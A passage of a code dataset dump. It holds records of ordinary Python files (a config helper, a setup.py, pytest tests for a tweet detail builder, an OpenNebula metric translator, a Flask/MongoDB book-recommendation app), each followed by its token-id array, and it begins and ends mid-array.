1018, 29901, 13, 9651, 1583, 29889, 27342, 10456, 29874, 29892, 3579, 11022, 29897, 13, 4706, 5174, 13291, 408, 2933, 29901, 13, 9651, 736, 2933, 13, 4706, 1683, 29901, 13, 9651, 12020, 7440, 593, 29934, 29874, 895, 5103, 13, 13, 1678, 822, 7124, 29898, 1311, 29892, 1158, 29892, 2224, 2433, 29914, 742, 3573, 29922, 8516, 29892, 848, 29922, 8516, 29892, 2793, 29918, 1853, 29922, 8516, 29892, 13, 9651, 12020, 29918, 326, 4210, 2486, 29922, 5574, 29892, 736, 29918, 7045, 29922, 8516, 29892, 864, 2433, 5327, 742, 3579, 13662, 1125, 13, 13, 4706, 565, 848, 338, 451, 6213, 29901, 13, 9651, 18116, 29889, 25442, 29898, 8498, 3757, 362, 22709, 29898, 13, 18884, 376, 1576, 421, 1272, 29952, 2980, 338, 18164, 29892, 3113, 671, 421, 2587, 29952, 2012, 1213, 13, 632, 876, 13, 9651, 3573, 353, 848, 13, 4706, 565, 338, 8758, 29898, 3051, 29918, 1853, 29892, 851, 1125, 13, 9651, 2793, 29918, 1853, 353, 2793, 29918, 1853, 29889, 12508, 877, 294, 18869, 1495, 13, 4706, 565, 338, 8758, 29898, 2587, 29892, 313, 8977, 29892, 1051, 22164, 13, 9651, 565, 2793, 29918, 1853, 338, 6213, 29901, 13, 18884, 2793, 29918, 1853, 353, 341, 8647, 5690, 8322, 29918, 22412, 3919, 13, 9651, 565, 2793, 29918, 1853, 29889, 27382, 2541, 29898, 29890, 29915, 18056, 442, 29914, 689, 29899, 1272, 29374, 13, 18884, 3573, 353, 19750, 29918, 18056, 442, 29898, 8456, 18783, 19926, 29892, 3573, 29897, 13, 9651, 1683, 29901, 13, 18884, 12020, 7865, 2392, 29898, 29888, 29908, 14148, 421, 3051, 29918, 1853, 6998, 426, 3051, 29918, 1853, 29991, 29878, 27195, 13, 13, 4706, 12471, 353, 1583, 29889, 4282, 29918, 5652, 3146, 29918, 21813, 29898, 5696, 29892, 2224, 29892, 3573, 29892, 2793, 29918, 1853, 29892, 3579, 13662, 29897, 13, 4706, 2106, 353, 1583, 29889, 22942, 29889, 3636, 29898, 13, 9651, 12471, 29892, 13, 9651, 12020, 29918, 326, 4210, 2486, 29922, 22692, 29918, 326, 4210, 2486, 29892, 13, 9651, 736, 29918, 7045, 29922, 2457, 29918, 7045, 29892, 13, 4706, 1723, 13, 13, 4706, 736, 1583, 29889, 17863, 29918, 29893, 424, 29898, 3859, 29892, 864, 29897, 13, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 8814, 29918, 29893, 424, 29898, 3859, 29892, 864, 1125, 13, 4706, 12421, 29918, 2084, 353, 864, 29889, 5451, 12839, 1495, 13, 4706, 2967, 353, 12421, 29918, 2084, 29961, 29900, 29962, 13, 4706, 12421, 29918, 2084, 353, 12421, 29918, 2084, 29961, 29896, 17531, 13, 13, 4706, 714, 353, 2106, 29961, 3188, 29962, 13, 4706, 363, 1024, 297, 12421, 29918, 2084, 29901, 13, 9651, 714, 353, 679, 5552, 29898, 449, 29892, 1024, 29897, 13, 13, 4706, 736, 714, 13, 13, 1678, 822, 2048, 29918, 5652, 3146, 29918, 21813, 29898, 1311, 29892, 1158, 29892, 3142, 29892, 3573, 29922, 8516, 29892, 2793, 29918, 1853, 29922, 8516, 29892, 21046, 29922, 8516, 29892, 3579, 11022, 1125, 13, 4706, 396, 6058, 29923, 393, 297, 349, 1743, 313, 3827, 29889, 2272, 1207, 29918, 16799, 1717, 29918, 13662, 29897, 871, 9066, 13, 4706, 396, 6763, 411, 4954, 10493, 16159, 526, 5134, 297, 278, 2009, 448, 322, 1906, 526, 13, 4706, 396, 3939, 304, 694, 5520, 3160, 4954, 10493, 29952, 1412, 1670, 526, 5279, 29871, 29906, 13, 4706, 396, 15283, 304, 445, 29901, 4954, 29915, 22412, 3919, 29918, 11116, 11120, 1673, 4954, 29915, 22412, 3919, 29918, 19433, 11120, 29952, 607, 13, 4706, 396, 526, 9479, 7120, 363, 29889, 13, 13, 4706, 565, 338, 8758, 29898, 15108, 583, 29892, 9657, 29897, 322, 451, 338, 8758, 29898, 15108, 583, 29892, 12545, 24914, 1125, 13, 9651, 21046, 29892, 270, 353, 12545, 24914, 3285, 21046, 13, 9651, 363, 413, 29892, 325, 297, 270, 29889, 7076, 7295, 13, 18884, 21046, 29961, 710, 29898, 29895, 4638, 353, 851, 29898, 29894, 29897, 13, 13, 4706, 1134, 3198, 29898, 13, 9651, 3142, 29892, 313, 13193, 29892, 851, 511, 13, 9651, 1158, 29892, 851, 29892, 13, 9651, 2793, 29918, 1853, 29892, 313, 13193, 29892, 6213, 511, 13, 9651, 3573, 29892, 313, 13193, 29892, 6213, 511, 13, 4706, 1723, 13, 4706, 3142, 353, 3142, 29889, 12508, 877, 294, 18869, 1495, 565, 1134, 29898, 2271, 29897, 2804, 6262, 1683, 3142, 13, 4706, 565, 289, 29915, 17901, 297, 3142, 29901, 13, 9651, 2224, 29892, 3855, 29879, 353, 3142, 29889, 5451, 29898, 29890, 29915, 29973, 742, 29871, 29896, 29897, 13, 4706, 1683, 29901, 13, 9651, 2224, 29892, 3855, 29879, 353, 3142, 29892, 6213, 13, 13, 4706, 12471, 353, 6571, 13, 4706, 565, 2793, 29918, 1853, 338, 451, 6213, 29901, 13, 9651, 12471, 29961, 29890, 29915, 22412, 3919, 29918, 11116, 2033, 353, 2793, 29918, 1853, 13, 4706, 565, 21046, 338, 451, 6213, 29901, 13, 9651, 12471, 29961, 29890, 29915, 10493, 29918, 3217, 8949, 8673, 2033, 353, 21046, 29889, 4905, 29898, 6672, 2433, 742, 16345, 2433, 29936, 25710, 13, 4706, 12471, 29961, 29890, 29915, 10493, 29918, 20832, 2033, 353, 289, 29915, 7640, 29915, 13, 4706, 565, 2224, 29901, 13, 9651, 12471, 29961, 29890, 29915, 10145, 29918, 11690, 2033, 353, 2224, 13, 4706, 565, 3855, 29879, 29901, 13, 9651, 12471, 29961, 29890, 29915, 13356, 24422, 29918, 20785, 2033, 353, 3855, 29879, 13, 4706, 12471, 29961, 29890, 29915, 1525, 29924, 2891, 29923, 29918, 3035, 8353, 2033, 353, 289, 29915, 29900, 29889, 29900, 29889, 29900, 29889, 29900, 29915, 13, 4706, 12471, 29961, 29890, 29915, 16244, 29918, 2303, 4690, 13668, 2033, 353, 1158, 29889, 12508, 877, 294, 18869, 1495, 13, 4706, 12471, 29961, 29890, 29915, 18603, 29918, 8618, 4986, 15032, 2033, 353, 289, 29915, 10493, 29914, 29896, 29889, 29896, 29915, 13, 4706, 565, 3573, 338, 451, 6213, 29901, 13, 9651, 12471, 29961, 29890, 29915, 5652, 3146, 29889, 2080, 2033, 353, 2648, 2167, 5971, 29898, 2587, 29897, 13, 9651, 12471, 29961, 29890, 29915, 10493, 29918, 22412, 3919, 29918, 19433, 2033, 353, 851, 29898, 2435, 29898, 2587, 8106, 12508, 877, 294, 18869, 1495, 13, 4706, 12471, 29961, 29890, 29915, 5652, 3146, 29889, 2271, 29918, 816, 2004, 2033, 353, 525, 991, 29915, 13, 4706, 12471, 29889, 5504, 3552, 29895, 29889, 12508, 877, 294, 18869, 5477, 325, 29897, 363, 413, 29892, 325, 297, 9049, 29889, 7076, 3101, 13, 4706, 736, 12471, 13, 13, 13, 1990, 4306, 1319, 4032, 29898, 4032, 1125, 13, 1678, 9995, 4013, 338, 263, 12477, 19481, 393, 14874, 21046, 1546, 5717, 1213, 15945, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 334, 29874, 29892, 3579, 11022, 1125, 13, 4706, 2428, 29898, 2792, 1319, 4032, 29892, 1583, 467, 1649, 2344, 1649, 10456, 29874, 29892, 3579, 11022, 29897, 13, 4706, 1583, 29889, 21509, 353, 12545, 24914, 580, 13, 13, 1678, 822, 4770, 5893, 12035, 1311, 1125, 13, 4706, 736, 1583, 13, 13, 1678, 822, 4770, 13322, 12035, 1311, 29892, 334, 29874, 1125, 13, 4706, 1583, 29889, 21509, 29889, 8551, 580, 13, 13, 1678, 822, 7124, 29898, 1311, 29892, 334, 29874, 29892, 3579, 11022, 1125, 13, 4706, 21046, 353, 9049, 29889, 7323, 877, 15108, 583, 742, 6213, 29897, 13, 4706, 565, 21046, 29901, 13, 9651, 15327, 353, 12545, 24914, 580, 13, 9651, 396, 4867, 21046, 937, 13, 9651, 15327, 29889, 5504, 29898, 1311, 29889, 21509, 29897, 13, 9651, 396, 2009, 21046, 1473, 13, 9651, 565, 338, 8758, 29898, 15108, 583, 29892, 12545, 24914, 1125, 13, 18884, 15327, 29889, 5504, 29898, 15108, 583, 29897, 13, 9651, 1683, 29901, 13, 18884, 363, 413, 29892, 325, 297, 21046, 29889, 7076, 7295, 13, 462, 1678, 15327, 29961, 710, 29898, 29895, 4638, 353, 851, 29898, 29894, 29897, 13, 4706, 1683, 29901, 13, 9651, 15327, 353, 1583, 29889, 21509, 13, 4706, 9049, 1839, 15108, 583, 2033, 353, 15327, 13, 13, 4706, 864, 353, 9049, 29889, 7323, 877, 29893, 424, 742, 525, 5327, 1495, 13, 4706, 9049, 1839, 29893, 424, 2033, 353, 525, 3859, 29915, 13, 4706, 2106, 353, 2428, 29898, 2792, 1319, 4032, 29892, 1583, 467, 27342, 10456, 29874, 29892, 3579, 11022, 29897, 13, 4706, 364, 353, 2106, 29889, 657, 877, 5327, 1495, 13, 4706, 565, 338, 8758, 29898, 29878, 29892, 13291, 29897, 322, 364, 29889, 13662, 29889, 21509, 29901, 13, 9651, 1583, 29889, 21509, 29889, 5504, 29898, 29878, 29889, 13662, 29889, 21509, 29897, 13, 13, 4706, 736, 1583, 29889, 17863, 29918, 29893, 424, 29898, 3859, 29892, 864, 29897, 13, 2 ]
my_utils/dicts/set_config_default_item.py
fgitmichael/SelfSupevisedSkillDiscovery
0
98978
def set_config_default_item(config: dict, key, default) -> dict: if not key in config.keys(): config[key] = default return config
[ 1, 822, 731, 29918, 2917, 29918, 4381, 29918, 667, 29898, 2917, 29901, 9657, 29892, 1820, 29892, 2322, 29897, 1599, 9657, 29901, 13, 1678, 565, 451, 1820, 297, 2295, 29889, 8149, 7295, 13, 4706, 2295, 29961, 1989, 29962, 353, 2322, 13, 1678, 736, 2295, 2 ]
testdata/setup.py
gjtempleton/drone-pypi
0
148206
<filename>testdata/setup.py<gh_stars>0 from setuptools import setup setup( name='drone-pypi-test', version='0.1.0', description='Testing drone-pypi publishes, no other purpose.', url='http://github.com/gjtempleton/drone-pypi', packages=['testdata/drone_pypi_test'], maintainer='<NAME>', maintainer_email="<EMAIL>", )
[ 1, 529, 9507, 29958, 1688, 1272, 29914, 14669, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 731, 21245, 8789, 1053, 6230, 13, 13, 13, 14669, 29898, 13, 1678, 1024, 2433, 7707, 650, 29899, 29886, 1478, 29875, 29899, 1688, 742, 13, 1678, 1873, 2433, 29900, 29889, 29896, 29889, 29900, 742, 13, 1678, 6139, 2433, 3057, 292, 4192, 650, 29899, 29886, 1478, 29875, 9805, 267, 29892, 694, 916, 6437, 29889, 742, 13, 1678, 3142, 2433, 1124, 597, 3292, 29889, 510, 29914, 29887, 29926, 1356, 552, 880, 29914, 7707, 650, 29899, 29886, 1478, 29875, 742, 13, 1678, 9741, 29922, 1839, 1688, 1272, 29914, 7707, 650, 29918, 29886, 1478, 29875, 29918, 1688, 7464, 13, 1678, 7344, 261, 2433, 29966, 5813, 29958, 742, 13, 1678, 7344, 261, 29918, 5269, 543, 29966, 26862, 6227, 28341, 13, 29897, 2 ]
tests/twitter_learning_journal/builders/test_detail_builder.py
DEV3L/twitter-learning-journal
1
121157
<filename>tests/twitter_learning_journal/builders/test_detail_builder.py<gh_stars>1-10 from pytest import mark from app.twitter_learning_journal.builders.detail_builder import DetailBuilder from app.twitter_learning_journal.models.tweet import Tweet def test_detail_builder_init(): tweet = Tweet() detail_builder = DetailBuilder(tweet) assert tweet == detail_builder.tweet assert 'blog' == detail_builder.default_detail_type def test_build_details(): expected_title = 'full_text' expected_type = 'blog' tweet = Tweet( id=1, full_text=f'{expected_title}\ntest', urls='urls', classification='classification' ) detail_builder = DetailBuilder(tweet) detail = detail_builder.build() assert expected_title == detail.title assert tweet.id == detail.tweet_id assert tweet.urls == detail.url assert expected_type == detail.type assert not detail.is_fully_classified assert tweet.classification == detail.classification assert detail_builder.default_detail_size == detail.count @mark.parametrize('expected_title, full_text', [ ('hello', 'hello\nsometest'), ('sometest', '\nsometest'), ('', ''), ('123456789112345678921234567893', '123456789112345678921234567893XXX'), ('candace', '\n\n\ncandace\nsome text'), ]) def test_title(expected_title, full_text): tweet = Tweet(full_text=full_text) detail_builder = DetailBuilder(tweet) assert expected_title == detail_builder.title
[ 1, 529, 9507, 29958, 21150, 29914, 24946, 29918, 21891, 29918, 29926, 4659, 29914, 4282, 414, 29914, 1688, 29918, 16432, 29918, 16409, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 11451, 1688, 1053, 2791, 13, 13, 3166, 623, 29889, 24946, 29918, 21891, 29918, 29926, 4659, 29889, 4282, 414, 29889, 16432, 29918, 16409, 1053, 5953, 737, 5627, 13, 3166, 623, 29889, 24946, 29918, 21891, 29918, 29926, 4659, 29889, 9794, 29889, 29873, 16668, 1053, 323, 16668, 13, 13, 13, 1753, 1243, 29918, 16432, 29918, 16409, 29918, 2344, 7295, 13, 1678, 7780, 300, 353, 323, 16668, 580, 13, 13, 1678, 9493, 29918, 16409, 353, 5953, 737, 5627, 29898, 29873, 16668, 29897, 13, 13, 1678, 4974, 7780, 300, 1275, 9493, 29918, 16409, 29889, 29873, 16668, 13, 1678, 4974, 525, 7312, 29915, 1275, 9493, 29918, 16409, 29889, 4381, 29918, 16432, 29918, 1853, 13, 13, 13, 1753, 1243, 29918, 4282, 29918, 14144, 7295, 13, 1678, 3806, 29918, 3257, 353, 525, 8159, 29918, 726, 29915, 13, 1678, 3806, 29918, 1853, 353, 525, 7312, 29915, 13, 13, 1678, 7780, 300, 353, 323, 16668, 29898, 13, 4706, 1178, 29922, 29896, 29892, 13, 4706, 2989, 29918, 726, 29922, 29888, 29915, 29912, 9684, 29918, 3257, 1012, 593, 342, 742, 13, 4706, 23942, 2433, 26045, 742, 13, 4706, 12965, 2433, 1990, 2450, 29915, 13, 1678, 1723, 13, 1678, 9493, 29918, 16409, 353, 5953, 737, 5627, 29898, 29873, 16668, 29897, 13, 13, 1678, 9493, 353, 9493, 29918, 16409, 29889, 4282, 580, 13, 13, 1678, 4974, 3806, 29918, 3257, 1275, 9493, 29889, 3257, 13, 1678, 4974, 7780, 300, 29889, 333, 1275, 9493, 29889, 29873, 16668, 29918, 333, 13, 1678, 4974, 7780, 300, 29889, 26045, 1275, 9493, 29889, 2271, 13, 1678, 4974, 3806, 29918, 1853, 1275, 9493, 29889, 1853, 13, 1678, 4974, 451, 9493, 29889, 275, 29918, 3730, 29918, 1990, 2164, 13, 1678, 4974, 7780, 300, 29889, 1990, 2450, 1275, 9493, 29889, 1990, 2450, 13, 1678, 4974, 9493, 29918, 16409, 29889, 4381, 29918, 16432, 29918, 2311, 1275, 9493, 29889, 2798, 13, 13, 13, 29992, 3502, 29889, 3207, 300, 374, 911, 877, 9684, 29918, 3257, 29892, 2989, 29918, 726, 742, 518, 13, 1678, 6702, 12199, 742, 525, 12199, 29905, 1983, 3297, 342, 5477, 13, 1678, 6702, 29879, 3297, 342, 742, 11297, 1983, 3297, 342, 5477, 13, 1678, 6702, 742, 525, 5477, 13, 1678, 6702, 29896, 29906, 29941, 29946, 29945, 29953, 29955, 29947, 29929, 29896, 29896, 29906, 29941, 29946, 29945, 29953, 29955, 29947, 29929, 29906, 29896, 29906, 29941, 29946, 29945, 29953, 29955, 29947, 29929, 29941, 742, 525, 29896, 29906, 29941, 29946, 29945, 29953, 29955, 29947, 29929, 29896, 29896, 29906, 29941, 29946, 29945, 29953, 29955, 29947, 29929, 29906, 29896, 29906, 29941, 29946, 29945, 29953, 29955, 29947, 29929, 29941, 22791, 5477, 13, 1678, 6702, 29883, 392, 815, 742, 11297, 29876, 29905, 29876, 29905, 17608, 392, 815, 29905, 1983, 608, 1426, 5477, 13, 2314, 13, 1753, 1243, 29918, 3257, 29898, 9684, 29918, 3257, 29892, 2989, 29918, 726, 1125, 13, 1678, 7780, 300, 353, 323, 16668, 29898, 8159, 29918, 726, 29922, 8159, 29918, 726, 29897, 13, 1678, 9493, 29918, 16409, 353, 5953, 737, 5627, 29898, 29873, 16668, 29897, 13, 13, 1678, 4974, 3806, 29918, 3257, 1275, 9493, 29918, 16409, 29889, 3257, 13, 2 ]
translator/opennebula.py
5g-media/mape-translation
0
69410
<gh_stars>0 from translator.basemetric import BaseMetric from translator.exceptions import OsmInfoNotFound from translator.utils import get_vdu_details, opennebula_metrics import copy class Metric(BaseMetric): def __init__(self, raw_metric, source="opennebula"): self.source = source self.raw_metric = raw_metric self.supported_metrics = opennebula_metrics() super().__init__() def get_metric(self): """Format the metric data. Note: In case of OpenNebula, the structure is already the proper. Thus, no transformation is needed. Returns: dict: the metric including the name, type, unit, timestamp and value """ new_metric = copy.deepcopy(self.raw_metric) if 'vdu_uuid' in new_metric.keys(): del new_metric['vdu_uuid'] new_metric['name'] = new_metric['type'] new_metric['type'] = self.get_metric_type() return new_metric def get_metric_type(self): """Get the type of the metric Returns: str: the type of the metric """ search_for_metric = self.raw_metric['type'] if search_for_metric in self.supported_metrics.keys(): return self.supported_metrics[search_for_metric].get('type', "gauge") return "unknown" def get_translation(self, vdu_uuid=None): """Generate and return a common data model for each type of metric. Args: vdu_uuid (str): The vdu uuid. Actually, it maps to the container ID Returns: dict: A common data model for each type of metric. """ return get_vdu_details(vdu_uuid, self.raw_metric, source=self.source)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 5578, 1061, 29889, 6500, 21056, 2200, 1053, 7399, 10095, 2200, 13, 3166, 5578, 1061, 29889, 11739, 29879, 1053, 438, 3844, 3401, 17413, 13, 3166, 5578, 1061, 29889, 13239, 1053, 679, 29918, 29894, 700, 29918, 14144, 29892, 1722, 484, 29890, 2497, 29918, 2527, 10817, 13, 5215, 3509, 13, 13, 13, 1990, 4737, 2200, 29898, 5160, 10095, 2200, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 10650, 29918, 16414, 29892, 2752, 543, 3150, 484, 29890, 2497, 29908, 1125, 13, 4706, 1583, 29889, 4993, 353, 2752, 13, 4706, 1583, 29889, 1610, 29918, 16414, 353, 10650, 29918, 16414, 13, 4706, 1583, 29889, 23765, 29918, 2527, 10817, 353, 1722, 484, 29890, 2497, 29918, 2527, 10817, 580, 13, 4706, 2428, 2141, 1649, 2344, 1649, 580, 13, 13, 1678, 822, 679, 29918, 16414, 29898, 1311, 1125, 13, 4706, 9995, 5809, 278, 12714, 848, 29889, 13, 13, 4706, 3940, 29901, 512, 1206, 310, 4673, 29940, 774, 2497, 29892, 278, 3829, 338, 2307, 278, 1571, 29889, 13, 4706, 6549, 29892, 694, 13852, 338, 4312, 29889, 13, 13, 4706, 16969, 29901, 13, 9651, 9657, 29901, 278, 12714, 3704, 278, 1024, 29892, 1134, 29892, 5190, 29892, 14334, 322, 995, 13, 4706, 9995, 13, 4706, 716, 29918, 16414, 353, 3509, 29889, 24535, 8552, 29898, 1311, 29889, 1610, 29918, 16414, 29897, 13, 4706, 565, 525, 29894, 700, 29918, 25118, 29915, 297, 716, 29918, 16414, 29889, 8149, 7295, 13, 9651, 628, 716, 29918, 16414, 1839, 29894, 700, 29918, 25118, 2033, 13, 4706, 716, 29918, 16414, 1839, 978, 2033, 353, 716, 29918, 16414, 1839, 1853, 2033, 13, 4706, 716, 29918, 16414, 1839, 1853, 2033, 353, 1583, 29889, 657, 29918, 16414, 29918, 1853, 580, 13, 4706, 736, 716, 29918, 16414, 13, 13, 1678, 822, 679, 29918, 16414, 29918, 1853, 29898, 1311, 1125, 13, 4706, 9995, 2577, 278, 1134, 310, 278, 12714, 13, 13, 4706, 16969, 29901, 13, 9651, 851, 29901, 278, 1134, 310, 278, 12714, 13, 4706, 9995, 13, 4706, 2740, 29918, 1454, 29918, 16414, 353, 1583, 29889, 1610, 29918, 16414, 1839, 1853, 2033, 13, 4706, 565, 2740, 29918, 1454, 29918, 16414, 297, 1583, 29889, 23765, 29918, 2527, 10817, 29889, 8149, 7295, 13, 9651, 736, 1583, 29889, 23765, 29918, 2527, 10817, 29961, 4478, 29918, 1454, 29918, 16414, 1822, 657, 877, 1853, 742, 376, 29887, 585, 479, 1159, 13, 4706, 736, 376, 26690, 29908, 13, 13, 1678, 822, 679, 29918, 3286, 18411, 29898, 1311, 29892, 325, 700, 29918, 25118, 29922, 8516, 1125, 13, 4706, 9995, 5631, 403, 322, 736, 263, 3619, 848, 1904, 363, 1269, 1134, 310, 12714, 29889, 13, 13, 4706, 826, 3174, 29901, 13, 9651, 325, 700, 29918, 25118, 313, 710, 1125, 450, 325, 700, 318, 5416, 29889, 12823, 29892, 372, 11053, 304, 278, 5639, 3553, 13, 13, 4706, 16969, 29901, 13, 9651, 9657, 29901, 319, 3619, 848, 1904, 363, 1269, 1134, 310, 12714, 29889, 13, 4706, 9995, 13, 4706, 736, 679, 29918, 29894, 700, 29918, 14144, 29898, 29894, 700, 29918, 25118, 29892, 1583, 29889, 1610, 29918, 16414, 29892, 2752, 29922, 1311, 29889, 4993, 29897, 13, 2 ]
app.py
TimeaKovacs86/PraiseABook
0
84257
<reponame>TimeaKovacs86/PraiseABook import os import pymongo as pymongo from bson import ObjectId from flask import Flask, render_template, request, flash, redirect, url_for # Set environmental variables USERNAME = os.getenv("USERNAME") PASSWORD = os.getenv("PASSWORD") CLUSTER = os.getenv("CLUSTER") DB_NAME = os.getenv("DB_NAME") COLLECTION_NAME = os.getenv("COLLECTION_NAME") # Create database connection and naming the database and collection client = pymongo.MongoClient( "mongodb+srv://" + USERNAME + ":" + PASSWORD + "@" + CLUSTER + ".mongodb.net/test?retryWrites=true&w=majority") db = client[DB_NAME] collection = db[COLLECTION_NAME] app = Flask(__name__) # Set the cache to 0 -> There is no cache at all app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0 app.secret_key = os.environ.get('SECRET_KEY') def collect_data(): """Fetch all the data from the database""" book_array = [] for books in collection.find(): book_array.append(books) ordered_book_array = book_array[::-1] return ordered_book_array def collect_data_update(item_id): """Fetched the picked books data from the database""" return collection.find({"_id": ObjectId(item_id)}) @app.route('/') def index(): return render_template('base.html', books=collect_data()) @app.route('/fantasy') def fantasy(): return render_template('fantasy.html', books=collect_data()) @app.route('/horror') def horror(): return render_template('horror.html', books=collect_data()) @app.route('/thriller') def thriller(): return render_template('thriller.html', books=collect_data()) @app.route('/recommendation') def recommendation(): return render_template('recommend.html') @app.route('/create', methods=["POST"]) def create(): """Create a new object in the database""" author = request.form["author"] book_title = request.form["book_title"] genre = request.form["genre"] recommendation = request.form["recommendation"] book_cover_pic = request.form["book_cover_pic"] if len(str(author)) == 0 or len(str(book_title)) == 0 or len(str(book_cover_pic)) == 0: flash("One of the input field is empty, please fill out all the required fields!") return redirect(url_for("recommendation")) if genre != "Fantasy" and genre != "Horror" and genre != "Thriller": flash("Wrong genre type!") return redirect(url_for("recommendation")) if len(str(recommendation)) > 301: flash("You wrote too long recommendation") return redirect(url_for("recommendation")) mydict = { "author": author, "title": book_title, "genre": genre, "cover_picture_link": book_cover_pic, "recommendation": recommendation} collection.insert_one(mydict) flash("You have been created a new book recommendation!") return redirect(url_for("index")) @app.route('/update/<item_id>') def fill_out_update(item_id): """Gives you back the update form with the details of the picked book""" id = collect_data_update(item_id) return render_template('update.html', book=id) @app.route('/update/<id>', methods=["POST"]) def update(id): """Update the details of the picked book""" author = request.form["author"] book_title = request.form["book_title"] genre = request.form["genre"] recommendation = request.form["recommendation"] book_cover_pic = request.form["book_cover_pic"] if len(str(author)) == 0 or len(str(book_title)) == 0 or len(str(book_cover_pic)) == 0: flash("One of the input field is empty, please fill out all the required fields!") return redirect(url_for("recommendation")) if genre != "Fantasy" and genre != "Horror" and genre != "Thriller": flash("Wrong genre type!") return redirect(url_for("recommendation")) if len(str(recommendation)) > 301: flash("You wrote too long recommendation") return render_template('update.html', book=collect_data_update(id)) mydict = { "author": author, "title": book_title, "genre": genre, "cover_picture_link": book_cover_pic, "recommendation": recommendation } collection.update_one( {"_id": ObjectId(id)}, { "$set": mydict } ) flash("You have been updated a new book recommendation!") return redirect(url_for("index")) @app.route('/delete/<item_id>') def delete(item_id): """Delete chosen book from the page""" collection.delete_one( {"_id": ObjectId(item_id)}, ) flash("You have been deleted the chosen book!") return redirect(url_for("index")) if __name__ == '__main__': app.run(host=os.environ.get("IP"), port=int(os.environ.get("PORT")), debug=False)
[ 1, 529, 276, 1112, 420, 29958, 2481, 29874, 29968, 586, 16815, 29947, 29953, 29914, 29925, 22692, 2882, 2550, 13, 5215, 2897, 13, 13, 5215, 282, 962, 7443, 408, 282, 962, 7443, 13, 3166, 289, 1100, 1053, 4669, 1204, 13, 3166, 29784, 1053, 2379, 1278, 29892, 4050, 29918, 6886, 29892, 2009, 29892, 11013, 29892, 6684, 29892, 3142, 29918, 1454, 13, 13, 29937, 3789, 29380, 3651, 13, 11889, 5813, 353, 2897, 29889, 657, 6272, 703, 11889, 5813, 1159, 13, 25711, 17013, 353, 2897, 29889, 657, 6272, 703, 25711, 17013, 1159, 13, 6154, 17321, 1001, 353, 2897, 29889, 657, 6272, 703, 6154, 17321, 1001, 1159, 13, 4051, 29918, 5813, 353, 2897, 29889, 657, 6272, 703, 4051, 29918, 5813, 1159, 13, 15032, 3281, 2725, 29918, 5813, 353, 2897, 29889, 657, 6272, 703, 15032, 3281, 2725, 29918, 5813, 1159, 13, 13, 29937, 6204, 2566, 3957, 322, 22006, 278, 2566, 322, 4333, 13, 4645, 353, 282, 962, 7443, 29889, 29924, 7443, 4032, 29898, 13, 1678, 376, 23264, 29974, 29879, 15291, 597, 29908, 718, 3148, 1001, 5813, 718, 376, 6160, 718, 17687, 1799, 17013, 718, 376, 5507, 718, 17332, 17321, 1001, 718, 11393, 23264, 29889, 1212, 29914, 1688, 29973, 276, 2202, 29956, 768, 267, 29922, 3009, 29987, 29893, 29922, 21355, 537, 1159, 13, 2585, 353, 3132, 29961, 4051, 29918, 5813, 29962, 13, 10855, 353, 4833, 29961, 15032, 3281, 2725, 29918, 5813, 29962, 13, 13, 932, 353, 2379, 1278, 22168, 978, 1649, 29897, 13, 13, 29937, 3789, 278, 7090, 304, 29871, 29900, 1599, 1670, 338, 694, 7090, 472, 599, 13, 932, 29889, 2917, 1839, 29903, 11794, 29918, 7724, 29918, 12648, 29918, 10461, 29918, 23397, 2033, 353, 29871, 29900, 13, 932, 29889, 19024, 29918, 1989, 353, 2897, 29889, 21813, 29889, 657, 877, 1660, 22245, 29911, 29918, 10818, 1495, 13, 13, 13, 1753, 6314, 29918, 1272, 7295, 13, 1678, 9995, 20927, 599, 278, 848, 515, 278, 2566, 15945, 29908, 13, 1678, 3143, 29918, 2378, 353, 5159, 13, 13, 1678, 363, 8277, 297, 4333, 29889, 2886, 7295, 13, 4706, 3143, 29918, 2378, 29889, 4397, 29898, 12733, 29897, 13, 13, 1678, 10372, 29918, 2909, 29918, 2378, 353, 3143, 29918, 2378, 29961, 1057, 29899, 29896, 29962, 13, 13, 1678, 736, 10372, 29918, 2909, 29918, 2378, 13, 13, 13, 1753, 6314, 29918, 1272, 29918, 5504, 29898, 667, 29918, 333, 1125, 13, 1678, 9995, 20927, 287, 278, 18691, 8277, 848, 515, 278, 2566, 15945, 29908, 13, 1678, 736, 4333, 29889, 2886, 3319, 29908, 29918, 333, 1115, 4669, 1204, 29898, 667, 29918, 333, 26972, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 1495, 13, 1753, 2380, 7295, 13, 1678, 736, 4050, 29918, 6886, 877, 3188, 29889, 1420, 742, 8277, 29922, 15914, 29918, 1272, 3101, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 29888, 424, 8995, 1495, 13, 1753, 13568, 8995, 7295, 13, 1678, 736, 4050, 29918, 6886, 877, 29888, 424, 8995, 29889, 1420, 742, 8277, 29922, 15914, 29918, 1272, 3101, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 2015, 729, 1495, 13, 1753, 23026, 7295, 13, 1678, 736, 4050, 29918, 6886, 877, 2015, 729, 29889, 1420, 742, 8277, 29922, 15914, 29918, 1272, 3101, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 386, 29878, 5495, 1495, 13, 1753, 1468, 5495, 7295, 13, 1678, 736, 4050, 29918, 6886, 877, 386, 29878, 5495, 29889, 1420, 742, 8277, 29922, 15914, 29918, 1272, 3101, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 276, 2055, 355, 362, 1495, 13, 1753, 29303, 7295, 13, 1678, 736, 4050, 29918, 6886, 877, 276, 2055, 355, 29889, 1420, 1495, 13, 13, 13, 29992, 932, 29889, 13134, 11219, 3258, 742, 3519, 29922, 3366, 5438, 20068, 13, 1753, 1653, 7295, 13, 1678, 9995, 4391, 263, 716, 1203, 297, 278, 2566, 15945, 29908, 13, 1678, 4148, 353, 2009, 29889, 689, 3366, 8921, 3108, 13, 1678, 3143, 29918, 3257, 353, 2009, 29889, 689, 3366, 2909, 29918, 3257, 3108, 13, 1678, 16151, 353, 2009, 29889, 689, 3366, 1885, 276, 3108, 13, 1678, 29303, 353, 2009, 29889, 689, 3366, 276, 2055, 355, 362, 3108, 13, 1678, 3143, 29918, 11911, 29918, 16447, 353, 2009, 29889, 689, 3366, 2909, 